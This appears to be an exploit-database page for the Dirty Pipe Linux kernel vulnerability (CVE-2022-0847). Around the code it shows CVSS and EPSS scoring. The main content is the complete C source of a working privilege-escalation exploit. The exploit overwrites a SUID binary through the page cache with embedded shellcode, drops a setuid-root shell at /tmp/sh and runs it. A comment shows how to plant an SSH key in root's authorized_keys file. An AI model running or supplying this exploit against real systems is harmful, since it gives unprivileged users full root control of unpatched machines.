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zdtBlasty1337DAY-ID-37461
HistoryMar 09, 2022 - 12:00 a.m.

Dirty Pipe SUID Binary Hijack Privilege Escalation Exploit

2022-03-0900:00:00
blasty
0day.today
373

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.076 Low

EPSS

Percentile

94.2%

Variant proof of concept exploit for the Dirty Pipe file overwrite vulnerability. This version hijacks a SUID binary to spawn a root shell.

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <[email protected]> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  if (pipe(p)) abort();

  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  static char buffer[4096];

  /* fill the pipe completely; each pipe_buffer will now have
     the PIPE_BUF_FLAG_CAN_MERGE flag */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
  }

  /* drain the pipe, freeing all pipe_buffer instances (but
     leaving the flags initialized) */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
  }

  /* the pipe is now empty, and if somebody adds a new
     pipe_buffer without initializing its "flags", the buffer
     will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
  /* open the input file and validate the specified offset */
  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
  if (fd < 0) {
    perror("open failed");
    return -1;
  }

  struct stat st;
  if (fstat(fd, &st)) {
    perror("stat failed");
    return -1;
  }

  /* create the pipe with all flags initialized with
     PIPE_BUF_FLAG_CAN_MERGE */
  int p[2];
  prepare_pipe(p);

  /* splice one byte from before the specified offset into the
     pipe; this will add a reference to the page cache, but
     since copy_page_to_iter_pipe() does not initialize the
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  --offset;
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  if (nbytes < 0) {
    perror("splice failed");
    return -1;
  }
  if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return -1;
  }

  /* the following write will not create a new pipe_buffer, but
     will instead write into the page cache, because of the
     PIPE_BUF_FLAG_CAN_MERGE flag */
  nbytes = write(p[1], data, len);
  if (nbytes < 0) {
    perror("write failed");
    return -1;
  }
  if ((size_t)nbytes < len) {
    fprintf(stderr, "short write\n");
    return -1;
  }

  close(fd);

  return 0;
}

int main(int argc, char **argv) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s SUID\n", argv[0]);
    return EXIT_FAILURE;
  }

  char *path = argv[1];
  uint8_t *data = elfcode;

  int fd = open(path, O_RDONLY);
  uint8_t *orig_bytes = malloc(sizeof(elfcode));
  lseek(fd, 1, SEEK_SET);
  read(fd, orig_bytes, sizeof(elfcode));
  close(fd);

  printf("[+] hijacking suid binary..\n");
  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }

  printf("[+] dropping suid shell..\n");
  system(path);

  printf("[+] restoring suid binary..\n");
  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }

  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
  system("/tmp/sh");

  return EXIT_SUCCESS;
}

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.076 Low

EPSS

Percentile

94.2%